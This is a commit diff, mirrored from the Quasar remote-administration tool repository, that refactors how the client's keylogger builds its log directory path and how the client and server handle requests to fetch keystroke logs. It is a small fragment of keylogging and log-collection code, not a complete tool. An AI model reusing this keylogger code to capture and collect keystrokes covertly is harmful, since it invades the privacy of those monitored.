mirror of https://github.com/quasar/Quasar.git
Small Log directory fix
This commit is contained in:
parent
87211b84e1
commit
3b53a5c799
|
@ -158,15 +158,14 @@ namespace xClient.Core.Commands
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
int index = 1;
|
int index = 1;
|
||||||
string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\";
|
|
||||||
|
|
||||||
if (!Directory.Exists(path))
|
if (!Directory.Exists(Keylogger.LogDirectory))
|
||||||
{
|
{
|
||||||
new Packets.ClientPackets.GetKeyloggerLogsResponse("", new byte[0], -1, -1, "", index, 0).Execute(client);
|
new Packets.ClientPackets.GetKeyloggerLogsResponse("", new byte[0], -1, -1, "", index, 0).Execute(client);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
FileInfo[] iFiles = new DirectoryInfo(path).GetFiles();
|
FileInfo[] iFiles = new DirectoryInfo(Keylogger.LogDirectory).GetFiles();
|
||||||
|
|
||||||
if (iFiles.Length == 0)
|
if (iFiles.Length == 0)
|
||||||
{
|
{
|
||||||
|
|
|
@ -30,7 +30,7 @@ namespace xClient.Core.Utilities
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// The directory where the log files will be saved.
|
/// The directory where the log files will be saved.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
public static string LogDirectory { get { return Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\"; } }
|
public static string LogDirectory { get { return Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Logs\\"); } }
|
||||||
|
|
||||||
private readonly Timer _timerFlush;
|
private readonly Timer _timerFlush;
|
||||||
private StringBuilder _logFileBuffer;
|
private StringBuilder _logFileBuffer;
|
||||||
|
@ -245,7 +245,7 @@ namespace xClient.Core.Utilities
|
||||||
{
|
{
|
||||||
bool writeHeader = false;
|
bool writeHeader = false;
|
||||||
|
|
||||||
string fileName = LogDirectory + DateTime.Now.ToString("MM-dd-yyyy");
|
string fileName = Path.Combine(LogDirectory, DateTime.Now.ToString("MM-dd-yyyy"));
|
||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
|
|
|
@ -2,7 +2,6 @@ using System;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
using System.Threading;
|
using System.Threading;
|
||||||
using System.Windows.Forms;
|
|
||||||
using xServer.Core.Data;
|
using xServer.Core.Data;
|
||||||
using xServer.Core.Networking;
|
using xServer.Core.Networking;
|
||||||
using xServer.Core.Packets.ClientPackets;
|
using xServer.Core.Packets.ClientPackets;
|
||||||
|
@ -108,7 +107,6 @@ namespace xServer.Core.Commands
|
||||||
if (packet.FileCount == 0)
|
if (packet.FileCount == 0)
|
||||||
{
|
{
|
||||||
client.Value.FrmKl.SetGetLogsEnabled(true);
|
client.Value.FrmKl.SetGetLogsEnabled(true);
|
||||||
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue